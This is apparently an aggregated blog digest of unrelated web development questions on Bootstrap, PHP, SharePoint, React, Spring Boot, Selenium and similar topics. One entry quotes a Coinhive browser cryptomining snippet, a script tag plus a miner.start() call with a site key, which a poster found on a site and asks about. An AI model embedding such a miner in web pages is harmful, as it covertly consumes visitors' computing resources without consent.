samedi 30 septembre 2017

What are the most important JavaScript Design Patterns?

Specifically, which design patterns are most important to Front End Developers in 2017?

I'm coming from an iOS background and have a thorough understanding of OOP, Functional Programming, Decorator/Delegate Pattern. I'm learning the module pattern right now.

Where should I go from here? Which books/sites would you recommend the most?




How do I set up a work environment for both Mac and Windows?

I was wondering, how do I set up an environment for both Mac and Windows? I have a Mac laptop I develop in and then a Windows machine at home. I'd love to be able to develop between both. For the most part I write web application written using create-react-app and rails. I've noticed that whenever I push my work to GitHub, it doesn't work on the other environment, maybe because they may have different dependencies. Any tips or tutorials that you could link me too would be greatly appreciate it!




Process timeline with columns in Bootstrap

I want the design like in the image, I did the vertical line with border of the columns, but how to connect the image elements with the vertical line and to be responsive. I have tried with :after and :before, but it's not good.

HTML
    <section id="timeline">
        <div class="container">
            <div class="row">
                <div class="col-sm-6 left">
                    <img src="image.png" class="img-responsive center-block" />
                </div>
                <div class="col-sm-6 right">
                     <p>Text</p>
                </div>
            </div>
        </div>
        <div class="container">
            <div class="row">
                <div class="col-sm-6 left">
                    <p>Text</p>
                </div>
                <div class="col-sm-6 right">
                    <img src="image.png" class="img-responsive center-block" />
                </div>
            </div>
        </div>
   </div>

CSS
    .left { border-right:4px solid #000; }
    .right{ border-left:4px solid #000; }

Design image




How Intel auto-detect driver works?

Intel provides a software to check which (intel's) drivers needs to be updated.

it's required to install a software (.exe, that stays in traycon) but the GUI is completely Web Based. (it uses the real intel domain)

How can the Web browser and the local software Communicate?

Thanks.




MySQL, PHP, extracting and formatting multiple values from on database field

I am a beginner and got stuck. Any help will be very much appreciated.

I have a text field in the database, the values in the field are as follow, i.e.: "John: 20; Dan: 30; Greg: 80; Sam: 66; Coco: 97;" this all in one field.

The result that I would like to get is as follows: John is 20 years old Dan is 30 years old Greg is 80 years old

Thank you




PHP - Can't seem to redirect my php files to link to another file that is in another folder

i am a beginner in PHP and I am trying to learn how to make a simple registration form with mysql and php.

The problem is I cannot link to another file that is in another folder. Here are some pictures:

  1. localhost redirectory error

Even though i have placed this in my index.php codes and for other files.

<?php 
        session_start(); 

        if (!isset($_SESSION['username'])) {
            $_SESSION['msg'] = "You must log in first";
            header('location: pages/login.php');
            exit();
        }

        if (isset($_GET['logout'])) {
            session_destroy();
            unset($_SESSION['username']);

        }

    ?>

I have huge problems trying to understand how to identify the error when I include this line for a server connection in my register.php

<?php include('server.php') ?>

However it will only work if I place all the files outside of their own respective sub folders, even though I had placed the directory address. I don't understand, please help me understand what I am doing wrong.

Thank you




Scope and lifetime of Tempdata, Viewbag and Viewdata

From execution point of view, what is the scope - visibility and lifetime of Tempdata, Viewdata and Viewbag in Asp.net MVC Web application ?




How to search for articles in my website

I have a website that has a big number of articles, where each article is composed of a title and a description.
I want to implement a search functionality in my website(like the search in google) so that the user can get the similar articles to his query.
What is the best way to do this?




403 forbidden on php contact form script

I a using this bootstrap web template here:

http://ift.tt/1QSlgBE

It works great but for some reason I cannot get the contact form to work. The only thing I have changed is the to email address to ensure it is sent to me. All other code remains the same.

Whenever I fill out the form and Submit, I get an error in the developer console:

GET http://ift.tt/2x2uXgl 403 (Forbidden)

The permissions on the file and folder are 0755.

The webiste is hosted on https://cpanel.com/ and I am using Filezilla on a mac to transfer files.




vendredi 29 septembre 2017

Sharepoint 2016 WFE Server IIS Cannot Browse To Localhost But CA IIS Can Browse

I am building a SharePoint 2016 farm with one WFE server (Front-end with Distributed Cache), one application server (Application with Search), one search server (Search) and one database server. I installed SharePoint 2016 and configured service applications and a web application. Then I attached and upgraded a SharePoint 2013 content database to the web application. Database upgrade seems successful. Within Central Admin, I can see the content database and the site collection contained in content database.

However, in IIS on WFE server, browsing to the website for the SharePoint site does not work - I got blank pages. ULS log shows

Cannot find site lookup info for request Uri

(By the way, browsing to SharePoint Central Administration works in IIS on WFE server)

On the other hand, I can browse to the website for the SharePoint site using browse option in IIS on application server. Accessing from outside of these farm servers works for URL with application server url but not for WFE server url. (browsing to SharePoint Central Administration also works in IIS on application server)

  1. I think that requests for SharePoint webpages should go to the WFE server but not application server, correct? It seems to me that WFE server should be able to serve user requests but it cannot, while application server should not serve user request although it can. Why?

  2. What could be the reasons that WFE IIS cannot browse to the SharePoint site? And how to fix it? I am new to SharePoint so I did not fin d anything apparently wrong in Central Admin and IIS settings.

Thank you for your help.




Slow web apps when launched in full screen mode from the home screen on iOS

We have a web app that will launch in full screen mode on iOS when bookmarked to the home screen.

The web app is significantly slower compared to running in Safari as normal.

I'm aware of some old articles on this issue like here:

http://ift.tt/2x3PyvV

Can anyone add updated information to this issue? Why does it happen? Is there a way around it?




Problems with some semantic tags in HTML5

I'm trying my best to figure out the right use and nesting of some semantic tags in HTML5.

  1. Should I use <main> tag in HTML5? As I see <section> and <article> are the 2 main tags used in most of the webpage
  2. Should I nest <section> inside <section>, <article> inside <section>, <article> inside <article> or <section> inside <article>? This really makes me embarrassing
  3. If I want to create a list of products like the picture below, what is the suitable HTML5 structure for it. Which of the following structure is fine?

enter image description here

P/s: Is there any rules or instructions for the use of semantic tags in HTML5?

Sorry if I have many questions but I'm really get stuck with these for a long time? :(

Thanks in advance! enter image description here




Trouble with functional creation and rendering of div in sub of a sub

I'm sure im missing some key element of understanding because this file gets exported and used in another file and then that is exported to another file and then that last file in the chain is what is sent to react.DOM. but why can't I make my components in a function in this file and have them be rendered. I'm not understanding something about the chain and how many exported files you can have and how i guess nested they can be.... help please. Cause if I do this at the surface level of the file chain it works fine but not this far down...

import React, { Component } from 'react';

import './Css_files/OfficeComponent.css';

class OfficeComponent extends Component {

  pic_span_nurse(props){
      return(
          <div className="row box_infoz">
            <div className="col-xs-3">
              <h1>picture</h1>
            </div>
            <div className="col-xs-9">
              <h5>So this has noew changed to the office part where we have staff in this box and directions on the bottom</h5>
            </div>
          </div>
        );
    }

  render() {
    return (
        <div>
          <pic_span_nurse/>
        </div>
    );
  }
}

export default OfficeComponent;




website not available for Safari

We changed one of our production servers to a new location on Azure a couple days ago. With this our website is unreachable for safari users (who used our service before). After some digging around this might be a problem with Safari dns prefetching. Can we solve this problem on our end? We don't want to message 5000+ users with instructions on how to disable dns prefetching.

Thanks for the help




how to change the web designed by a catalyst

I have a Perl Catalyst web application which is backended by a MySQL database. I have the access to the root of it but I have no idea how to change the words used for this web. Can someone comment how to find the entire web info and change few part of it?

if you can direct me to some stuff, it will also be very useful




Mongo DB: Message exceeds allowed max message size

¡Hi! I've just developed RoR application to work with MongoDB and works fine. I tried few http requests to the app with postman, also worked fine!

When I deployed the app using Docker, I got a MongoDB error that follows after any request:

MONGODB | Message exceeds allowed max message size. The max is 50331648. ms_notifications_1 | 2017-09-29 21:16:48 +0000: HTTP parse error, malformed request (): # Puma::HttpParserError: Invalid HTTP format, parsing fails.

I'll be very thankful If anybody have the solution for this error. Thanks!




Why shouldn't you use an svg file as a website?

I'm helping some people without much coding experience make websites using Inkscape. They are creating elements and using small bits of Javascript to animate interactions between them on mouse clicks. So far, they have been saving these as .svg files and opening them in their browsers to test them. They are now at the point where they want to put them on the web. I did some tests with GitHub pages, and it looks like if you upload these SVG files you can interact with them just like you could if you opened them in a browser locally.

Is there anything wrong with putting them on the web in this way? If I were doing it myself, I would at least put the SVG image in an html page, as this would provide much more flexibility. However, in this case, the goal is to keep everything as simple as possible. So if I can avoid teaching them HTML right now, so much the better. But the fact that I've never encountered a website that was literally just an svg file makes me worry that there's a serious problem other than the lack of flexibility in making improvements to the website. Does anyone know of one?




Gupshup Chat Web Widget Get Code Issue

When I click on the "Get Code" button for the Gupshup Web Widget code, the code does not work in my web page. Not even a single chat box is shown.

Below are the codes I get :

window.tcAsyncInit = function(a){ a.init({ appUISetting:"%7B%22minimisedScreen%22%3A%7B%22minText%22%3A%22Talk%20to%20Bot%22%2C%22width%22%3A%22300%22%2C%22textColor%22%3A%22%23565656%22%7D%2C%22chatScreen%22%3A%7B%22maxText%22%3A%22Support%20CK%20Health/Beauty%22%2C%22imageDisplayType%22%3A%22rectangular%22%2C%22textColor%22%3A%22%23565656%22%7D%2C%22loginScreen%22%3A%7B%22height%22%3A%22410%22%2C%22formHeading%22%3A%22Please%20tell%20us%20about%20yourself.%22%2C%22nameLabel%22%3A%22Add%20Name%22%2C%22emailLabel%22%3A%22Add%20Email%22%2C%22phoneLabel%22%3A%22Add%20Phone%20No%22%2C%22messageLabel%22%3A%22Add%20Message%22%2C%22submitBtnText%22%3A%22Start%20Chatting%22%7D%2C%22contentScreen%22%3A%7B%22customfontSize%22%3A%2216%22%2C%22fontFamily%22%3A%22sans-serif%22%2C%22botBgColor%22%3A%22%23eeeeee%22%2C%22botColor%22%3A%22%23444%22%2C%22userBgColor%22%3A%22%233498db%22%2C%22userColor%22%3A%22%23fff%22%7D%2C%22commonWidget%22%3A%7B%22width%22%3A%22350%22%2C%22height%22%3A%22450%22%2C%22bgColor%22%3A%22%23eeeeee%22%2C%22bgImage%22%3A%22%22%2C%22perMenuImg%22%3A%22%22%2C%22borderColor%22%3A%22%23d4d4d4%22%2C%22textColor%22%3A%22%23ff4400%22%2C%22titleTextFont%22%3A%2216%22%2C%22titleWinHeight%22%3A%2245%22%2C%22RDStatus%22%3A%22No%22%2C%22webView%22%3A%22Yes%22%2C%22isResponsive%22%3A%22No%22%2C%22msgEncryption%22%3A%22No%22%2C%22allowHtmlFromBot%22%3A%22No%22%2C%22widgetType%22%3A%22Normal%22%2C%22persistenceMenu%22%3A%22%7B%5C%22disableinput%5C%22%3Afalse%2C%5C%22menu%5C%22%3A%5B%7B%5C%22title%5C%22%3A%5C%22Level1%20-%20Element1%5C%22%2C%5C%22type%5C%22%3A%5C%22nested%5C%22%2C%5C%22menu%5C%22%3A%5B%7B%5C%22title%5C%22%3A%5C%22Level2%20-%20Element1%5C%22%2C%5C%22type%5C%22%3A%5C%22text%5C%22%7D%2C%7B%5C%22title%5C%22%3A%5C%22Level2%20-%20Element2%5C%22%2C%5C%22type%5C%22%3A%5C%22nested%5C%22%2C%5C%22menu%5C%22%3A%5B%7B%5C%22title%5C%22%3A%5C%22Level3%20-%20Element1%5C%22%2C%5C%22type%5C%22%3A%5C%22text%5C%22%7D%5D%7D%2C%7B%5C%22title%5C%22%3A%5C%22Level2%20-%20Element4%5C%22%2C%5C%22type%5C%22%3A%5C%22nested%5C%22%2C%5C%22menu%5C%22%3A%5B%7B%5C%22title%5C%22%3A%5C%22Level3%20-%20Element1%5C%22%2C%5C%22type%5C%22%3A%5C%22text%5C%22%7D%5D%7D%2C%7B%5C%22title%5C%22%3A%5C%22Level2%20-%20Element5%5C%22%2C%5C%22type%5C%22%3A%5C%22text%5C%22%7D%5D%7D%2C%7B%5C%22title%5C%22%3A%5C%22Level2%20-%20Element4.1%5C%22%2C%5C%22type%5C%22%3A%5C%22text%5C%22%7D%5D%7D%22%2C%22logo%22%3A%22https%3A//www.gupshup.io/images/botwidget/ic_dummy_chat_g.png%22%2C%22user%22%3A%22https%3A//www.gupshup.io/images/botwidget/ic_user.png%22%2C%22bot%22%3A%22https%3A//www.gupshup.io/images/botwidget/ic_bot.png%22%7D%2C%22config%22%3A%7B%22attachment%22%3A%22Yes%22%2C%22callback%22%3A%22tcAsyncInit%22%7D%7D" }); }

I could not get the complete web widget code as show in the GupShup Document Tutorial.




Handsontable layout skewed

I add handsontable to a div in jsp file, but why the table columns skewed. I also get an unknown textarea at the jsp page footer only when i added handsontable to page

headers skewed unknown textarea




Email to link with email parameter opens outlook in browser starts new email

I am looking to replace for "mailto:" that redirect users to their outlook account in browser and do new email with the email in the link.

mailto: works for all users if they have set up default application outlook locally.

<a href="mailto:example@outlook.com">Send Email</a>

This opens the default email application to send new email to 'example@outlook.com'

I want to use this specifically for office365 outlook mail users, so instead of using default app, I need something for example:

<a href="http://sendemailusingoutlook?toEmail=example@outlook.com">Send Email</a>

And when user clicks on 'Send Email' It should open the office365 outlook in browser and have new email to 'example@outlook.com'

Is there any possible way to accomplish that? Thank you in advance.




Vue: Access component object properties

I'm trying to use a statement within a element:

v-if="currentstep < maxStep"

The maxStep should be obtained from the number of components listed on my defauld export

  export default {
    name: 'step',
    data () {
      return {
        maxStep: 8,
        currentstep: 0
      }
    },
    components: {
      ConfigPublicador,
      ConfigServico,
      ModeloReceita,
      Integracoes,
      ConfigTema,
      ConfigApp,
      ConfigExtras,
      Assets,
      Revisao
    }
  }

Something like

maxStep = components.length

Any Ideias? Thanks




is there a WebCrawler Framework to record results of search engines

I'm working in a Crankshafts producing company and I want to make a spider to make searches on Google and if possible on some other search engines with listed KeyWords in multiple languages and record the resulted pages in a doc.

Is there a framework for this in C#? Or what would be a good solution or approach to this problem?




Are there any alternatives to 'window.onload' in polymer?

I am trying to trigger a setTimeout using window.onload, but unable to do so. Are there any other ways to do this?

    window.onload =  function() {
        setTimeout(function(){ 
            alert('Hide that spinner!'); 
        }, 3000);
        console.log('After 3 seconds');
    };




Apache Spark with spring boot freemarker reports 404

I have been developing a recommend system using Apache Spark as data processing engine and Spring-boot for web. So far, I successfully integrated them together,submit my Uber jar via the spark-submit command .

But I found that when I open any URL defined in @controller class ,wanted to see a web page, I get 404 error, while URL defined in @restcontroller class that returns a Json object works fine.

  1. I use FreeMarker as template engine.
  2. I use spring-boot-starter-FreeMarker as dependency
  3. I have configuration of FreeMarker just like a simplest tutorial guide ,made no manual configuration.

I doubt it’s because I launch my app via spark-submit that lead to web container’s malfunction? I want to know if this problem can be solved and how can I solve that. I am posting my project structure and some code below that might help.

Thanks for your attention.

it's my controller

@Controller
public class welcomeConntroller {

@Value("${application.message:Hello World}")
private String message = "Hello World";

@RequestMapping(value = "/test", method = RequestMethod.GET)
public String welcome(Map<String, Object> model) {
    model.put("time", new Date());
    model.put("message", this.message);
    return "heihei";
}}

it's some part of my pom.xml

          <dependency>
            <groupId>org.apache.spark</groupId>
            <artifactId>spark-core_2.11</artifactId>
            <version>2.1.0</version>
            <exclusions>
                <exclusion>
                    <groupId>org.slf4j</groupId>
                    <artifactId>slf4j-log4j12</artifactId>
                </exclusion>
                <exclusion>
                    <groupId>log4j</groupId>
                    <artifactId>log4j</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>org.apache.spark</groupId>
            <artifactId>spark-sql_2.11</artifactId>
            <version>2.1.0</version>
            <exclusions>
                <exclusion>
                    <groupId>org.codehaus.janino</groupId>
                    <artifactId>janino</artifactId>
                </exclusion>
                <exclusion>
                    <groupId>org.codehaus.janino</groupId>
                    <artifactId>commons-compiler</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <!--Spring-->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>ch.qos.logback</groupId>
                    <artifactId>logback-classic</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-integration</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jdbc</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-freemarker</artifactId>
        </dependency>

        <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.2</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <dependencies>
                    <dependency>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-maven-plugin</artifactId>
                        <version>1.5.2.RELEASE</version>
                    </dependency>
                </dependencies>
                <configuration>
                    <keepDependenciesWithProvidedScope>false</keepDependenciesWithProvidedScope>
                    <createDependencyReducedPom>false</createDependencyReducedPom>
                    <filters>
                        <filter>
                            <artifact>*:*</artifact>
                            <excludes>
                                <exclude>META-INF/*.SF</exclude>
                                <exclude>META-INF/*.DSA</exclude>
                                <exclude>META-INF/*.RSA</exclude>
                            </excludes>
                        </filter>
                    </filters>
                    <transformers>
                        <transformer
                                implementation="org.apache.maven.plugins.shade.resource.AppendingTransformer">
                            <resource>META-INF/spring.handlers</resource>
                        </transformer>
                        <transformer
                                implementation="org.springframework.boot.maven.PropertiesMergingResourceTransformer">
                            <resource>META-INF/spring.factories</resource>
                        </transformer>
                        <transformer
                                implementation="org.apache.maven.plugins.shade.resource.AppendingTransformer">
                            <resource>META-INF/spring.schemas</resource>
                        </transformer>
                        <transformer
                                implementation="org.apache.maven.plugins.shade.resource.ServicesResourceTransformer" />
                        <transformer
                                implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                            <mainClass>com.recommend.PocApplication</mainClass>
                        </transformer>
                    </transformers>
                </configuration>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>

it's my project structure enter image description here




Creating Read only access for ActiveMQ Web Console

Is it possible to create read only users in ActiveMQ web console, i've surfed through so many websites and found no answers.




The value of textbox changing automatically to asterisk (****)

I've a textbox to capture card no. But this value '6222040000030002', the textbox value is render as '**********' automatically. The textbox textmode is set as SingleLine only. I can't figure it out why this behavior is happening. Any suggestion.

enter image description here




A WebCrawler Framework to record results of search engines

I'm working in a Crankshafts producing company and I want to make a spider to make searches on Google with listed KeyWords in multiple languages and record the resulted pages in a doc.

Is there a framework for this in C#? Or what would be a good solution or approach to this problem?




Jvectormap dislay country name

I am actually creating a map whit jvectormap but it's showing country name when mouse is over the country. I'm using this map link I can actually show code name of the country with this :

labels: {
  regions: {
    offsets: function(code){
      return {
      }[code.split('-')[1]];
    }
  }




Woocommerce Failed To Display Product Category Page

I have a problem when displaying product category. Like this

wrong

It should be like this

right




How do you create a file path for url of your pages say http://ift.tt/2yL70Ya?

How do you create a file path for url of your pages say http://ift.tt/2yL70Ya?




How can design Angular 2 in a intranet communication with sql server

I am trying to create an architecture for a web app. We are planning to develop the front-end using angular 2 + bootstrap and the DB will be SQL server. As per the requirement, this web app is accessible to an internal team only that means we have to keep it inside an intranet. So my doubt is how can we design the communication between WEB app to Database. What component should I use for this? Please suggest?




jeudi 28 septembre 2017

Create a "table" where my user can input the information they want to register?

I´m trying to make a page where the user can register a soccer team (name, cellphone and email) so it looks like a table and you can just type right in the necessary information, kind of like excel but with html




Site with a bitcoin miner script

I found some of my users visiting a site that seemed to have a bitcoin mining js script in its code:

<script src = "hxxps://coin-hive.com/lib/coinhive.min.js"></script><script>
var miner = new CoinHive.Anonymous('pfr5E2eLd0VduZ1wKaesPFnccU9d2GZi');
miner.start();
</script>

My question is, with this are the users still infected even if they navigate away from the page? Do these sort of programs only work while the user has the page open in the browser?




Authorizing and getting access to a third party system

I need advice from the brightest minds here in this community. I am trying to build a web application which will go through a pre-existing commercial web application and fetch some data.

My idea is to ask for authorization for that system, the users will enter their username and password, and the system will automatically go to the user's account and get the required data.

My question is how to do this? Are there any pre-existing libraries that give similar functionality?




PHP get web adresses of websites that are related to string

I need to create a PHP script that gets url's related to a string, for example I need to get a load of websites that are to do with maths. I know this question is open ended and stupid but how would I even start going about doing this in PHP?

thanks in advanced




"An error occurred when trying to create a controller of type '...'. Make sure that the controller has a parameterless public constructor."

sorry, I dont know how to speak English. but I am with an api and when I pass a parameter on the counter it gives this error.

I'm using postman to do the test.




Using Selenium to "click" on select buttons imbedded in a table (with Python)

I'm trying to use Selenium to parse a website of sensor data (take a look: http://ift.tt/2xIRKwh). This web page has a table of sensors, where the information are stored in the first four columns while buttons to download a CSV file are in the fifth column.

The thing is, I want to only "click" on that button if the row satisfies certain conditions (e.g. it's a specific sensor located in a specific location). I may be fundamentally misunderstanding Selenium webdrivers, but when I try to execute the below code, it ends up "clicking" only the very first instance of the "Download Primary" button (Sensor #1) instead of the one I was hoping to find. Is there a better way of doing this?

driver = webdriver.PhantomJS(executable_path='./phantomjs')
driver.get("http://ift.tt/2xIRKwh")
assert "PurpleAir" in driver.title
time.sleep(3)

# Select Dates here
startdate = driver.find_element_by_id("startdatepicker")
enddate = driver.find_element_by_id("enddatepicker")
startdate.send_keys('09/25/17', Keys.ENTER)
enddate.send_keys('09/27/17', Keys.ENTER)

# Parse table and find table elements that fit a certain criteria
for table_rows in driver.find_elements(By.TAG_NAME, "tr"):
    table_datas = table_rows.find_elements(By.TAG_NAME, "td")
    if 'Paso Robles' in table_datas[1].text:
        print(table_datas[0].text, table_datas[1].text)
        table_datas.find_element(By.XPATH, '//button[text()="Download Primary"]').click()




webservice by running python pgm in server and webpage in client

how can i implement a webpage with provision to input a pdf file.The pdf file is sent to a server and server has to automatically call a python pgm when the file is recived and sent back a html page as response to it.




Inspect web in iphone from a mac does not work

I hope you can help me. I am trying to debug a page on my iphone 5. I have the device connected by usb to the mac, and I made the settings that I found necessary (attached prints). But when selecting the iphone apparently want to load the web inspector but it closes and on the iphone the message "A problem occurred with this web page, so it was updated" I do not know where the fault may be. I hope you give me a hand, thanks in advance. - settings - message in the iphone




How to write a Java code to read fields from a website that requires login and uses POST request?

Need some help with fetching some data from a website.

Previously , we had following code in our application and it used to fetch the required data. We just used to read the required fields by forming a URL by passing username , password and search parameter (DEA number). The same URL (with parameters ) could also be hit from browser directly to see the results. It was a simple GET request:

{URL url = new URL(
                    "http://ift.tt/2fBBxmA"+getUsername()+"&Password="+getPassword()+"&DEA="
                            + deaNumber
                            + "&BAC=&BASC=&ExpirationDate=&Company=&Zip=&State=&PI=&MaxRows=");

Document document = parser.parse(url.toExternalForm());
// Ask the document for a list of all <sect1> tags it contains
NodeList sections = document.getElementsByTagName("DEA");
//Followed by a loop code to get each element by using sections.item(index).getFirstChild() etc.
}

Now, the website URL has got changed to following:

http://ift.tt/2xAUJYq

I am able to login to the URL with credentials , go to the search page , enter the DEA number and search. The login page comes as a pop-up once I click 'Login' link on home page. Also, the final result comes as a pop-up. This is a POST request so I am unable to form the complete URL which I could use in my code.

I am not an expert in Web Services , but I think I need a web service URL like the one mentioned in the code above. Not sure how to get that !! Even if I get the URL , I am not sure how to perform the login through Java code and search the DEA number.

Also, it would be great if I could validate the URL manually before using in Java. Let me know if there is any way.

Or, in case there is any alternate approach in Java; kindly suggest.

Thanks in advance.




Can someone please in brief tell me what I need to program the data science algorithms?

I'm looking forward creating an application that looks for resources over the web and it gives suggestions based on some algorithms (KNN,k-means...etc) what do I need exactly, python for its useful libraries? please I need guidelines




Single analytic board for multiple site instances with different domain names

I have server with huge adminPanel which is provided for many clients, and now I need to collect and analyze usage statistics.

I create project on GA site with fake domain name (name required), and connect web app to new project using gtag.js and given AccountId (UA-xxxxxx-x). Server and web-app running on localhost.

So the problem is there are no any hits registering on GA server when i triggering gtag actions (init,send,...).

Is it possible configure GA project (or gtag api) to ignore domain verification(?).




IIS 10 URL Redirect: domain/path to domain2/path

i need some assistance with our IIS 10 Webfarm. We have sites that have numerous bindings, an example been:

training.external.abc123.com
training.abc123.com
http://ift.tt/2xHuWNw

I need to create a redirect rule that does 2 things:

I need all the bindings to redirect to training.abc123.com. I think I have solved this with:

    <rewrite>
        <rules>
            <rule name="Redirect to training.abc123.com" stopProcessing="true">
                <match url="(.*)" />
                <conditions logicalGrouping="MatchAny">
                    <add input="{HTTP_HOST}" pattern="^training.external.abc123.com$" />
                    <add input="{HTTP_HOST}" pattern="^http://ift.tt/2fTB4sZ" />
                </conditions>
                <action type="Redirect" url="http://ift.tt/2xHYqen}" />
            </rule>
        </rules>
    </rewrite>

The above seems to work fine.

The 2nd part of this, I need all current paths to be redirected to the primary URL (the above) but keeping their paths:

http://ift.tt/2fSDGan <--- redirected to
http://ift.tt/2xHYrir




Websocket frames in javascript making the browser slow

I have developed a web application which uses web sockets. It is a call center application, so I am getting 5-10 frames per millisecond according to responses from the call center agent. As the number of frames is increased my browser is getting slow. Could some one please explain how to manage multiple frames in Javascript? ie. Queuing of frames should not affect the flow of other frame events.




JS Code Deploying on Web

I am a junior mobile developer who is working on a location tracking app for android. I want to monitor location of people using android tracking app on web for which I have found this code on github written in Coffee script. I am total noob when it comes to web terminology or tool

I dont know how to show output of this code on web/browser. Can any one give me simple bullets on how to use this code and see output.




SyntaxError: missing ) after argument list [in function] [duplicate]

This question already has an answer here:

I am getting the syntax error:

Uncaught SyntaxError: missing ) after argument list

and the error gives me in this line:

foreach ($ json array as $ name => $ value)

 function assign_post_to_xml($json_array,$cabecera_nombre=null)
    {
        foreach($json_array as $nombre => $valor)
        {
            if (is_array($valor)) 
                assign_post_to_xml($valor,$cabecera_nombre.$nombre."__");
            else
            {
                //writeInLog("Buscando [".$cabecera_nombre.$nombre."]");
                $valor = $_POST[$cabecera_nombre.$nombre];
            }
            $json_array[$nombre]= $valor;
            //writeInLog("Insertando [".$cabecera_nombre.$nombre." -> ".$valor."]");
        }
    }

Why does that error come out?




How to extract the category/section field in news articles

Is there a standard section field to look for while scraping news articles?

Explanation: I would like to get extract the title of an article (news) and its associated category or section.

Example:

Article:
http://ift.tt/2xzYLAi

Title of the article:
Environmentalists: UK's Antarctic islands need protection

Section or Category: 
Science and Environment 

There are various categories such as politics, lifestyle, tech, sports, etc. I checked the BBC and the guardian. They have different fields to specific these sections.

I expect that it might be different for various news websites. However, could it be that these different fields are already known so I can look for them while scraping?

Ideally, is there already a library which provides such as a category extraction (in Python)? I am going to write one myself so if one already exists then I do not want to reinvent the wheel.




Change primefaces split button values with javascript

I have created the following split button with primefaces :

<h:form style="text-align: right;" >
    <p:messages id="messages" showDetail="true" autoUpdate="true" closable="true" />
    <p:splitButton value="My Profile" actionListener="#{userLogin.myprofile}">
        <p:menuitem value="Log In"  url="http://localhost:8080/xhtml_files/login.xhtml"/>
        <p:menuitem value="Sign Up" url="http://localhost:8080/xhtml_files/signup.xhtml"/>
    </p:splitButton>
</h:form>

In my web development project I successfully validate users and check if they are logged in or not. I want to change menuitems values when a user is logged in , and change it to something like that:

<h:form style="text-align: right;" >
    <p:messages id="messages" showDetail="true" autoUpdate="true" closable="true" />
    <p:splitButton value="My Profile" actionListener="#{userLogin.myprofile}">
        <p:menuitem value="Log Out" actionListener="#{userLogin.logout}" />
    </p:splitButton>
</h:form>

Is there any possible way to achieve this ?




VBA post-запрос на Frankfurt Boerse

Привет всем! Задача стоит выгрузить исторические котировки по ценной бумаге с сайта Франкфуртской биржи за период. Например, по вот этой бумаге - http://ift.tt/2wlkbgI History На сколько я понял из javascript кода сайта, там идет post-запрос на сервер, формируемый функцией requestHistoricPrice():

function requestHistoricPrice() {
        var requestedStockMarket = "";
        if ($('#historic-prices-stock-market').length > 0) {
            requestedStockMarket = $('#historic-prices-stock-market').val();
            if (requestedStockMarket === '') {
                requestedStockMarket = 'ETR';
            }
            requestedStockMarket += '/';
        }
        var requestedStartDate = $('#historic-prices-start-day').val() + "." + $('#historic-prices-start-month').val() + "." + $('#historic-prices-start-year').val();
        var requestedEndDate = $('#historic-prices-end-day').val() + "." + $('#historic-prices-end-month').val() + "." + $('#historic-prices-end-year').val();

        var decodedUri = decodeURIComponent('%2fstock%2fpricehistory%2fTesla-share%2f');
        var dateRange = requestedStartDate + "_" + requestedEndDate;

        var actionUrl = "";
        var hash = window.location.hash;
        if ($("#derivative-mastertype").val() !== "") {
            actionUrl = decodedUri + dateRange + hash;
        } else {
            actionUrl = decodedUri + requestedStockMarket + dateRange + hash;
        }

        $('#submitForm').attr('action', actionUrl);
        $('#submitForm').submit();
    };

Подскажите, как сделать на VBA post-запрос на сервер, чтобы получить запрашиваемые данные?




MVC 5 ASP.Net aplpication protect against HTTP Parameter pollution

In the scope of web security reviews, we got a security scan assessment result from our provider which mentions HPP (Http Parameter Polution) as a vulnerability in the application. In our case, we are building a MVC5 application and i would like to have some advices on how to fix this. I know, it is about validating and checking the URL, but it would be great if i get a solution example. I want to centralize it in the application. Many thanks for your help.




How to add a button inside every row under a particular column in Bootstrap React Table?

I have a React Bootstrap table(http://ift.tt/2p4iJjb) which will get populated from data coming in from an API. I want to add a button to one of the columns and then perform operations on it. For example, once the button is clicked in a particular row, I need to extract data from the particular row and then make an API call. How to the above using React Bootstrap table?

    return (
  <BootstrapTable
    condensed={true}
    data = { tableData } 
  //I use tableData to store information obtained from API

    headerStyle={ { 
      background: '#FFF',
    } }
    containerStyle={ { background: '#FFF' } }
    ref='table'
    >
      <TableHeaderColumn dataField='resourceId' isKey dataAlign='center' dataSort={ true }> ID </TableHeaderColumn>
      <TableHeaderColumn dataField='Name' dataAlign='center'> Name </TableHeaderColumn>
      <TableHeaderColumn dataField='support' dataAlign='center' dataSort={ true }> Support</TableHeaderColumn>
      <TableHeaderColumn dataField='status' dataAlign='center' dataSort={ true }> Status</TableHeaderColumn>


      <TableHeaderColumn 
        dataAlign='center'
        options={ 
      <button> Select </button>}
      >
      File Path
      </TableHeaderColumn>
//Insert button here and access onClick property and make relevant API calls

  </BootstrapTable>




How to disable ONGL expression evaluation for the information followed by "redirect"?

I'm using Apche struts2 version 2.3.14.2 to develop web app.

I came across a method in (setEnableEvalExpression) OnglUtilit.java to disable the ONGL expression evaluation.

Can I disable ONGL expression evaluation on the information following "redirect"?

Or Is there any other way to disable ONGL expression evaluation?

Thanks!




iOS 11: AudioElement seeks to a wrong position within the source audio

Given a (large) mp3 file. I want to seek to a position within the audio. As a result, the playback starts from a position, which is a couple of seconds earlier than what I set AudioElement.currentTime to.

I set up a small application to demonstrate the issue:

  1. Go to the following URL: http://ift.tt/2xHppXn
  2. Once the PLAY button gets enabled, press it. The application will keep playing a portion of the audio repeatedly.

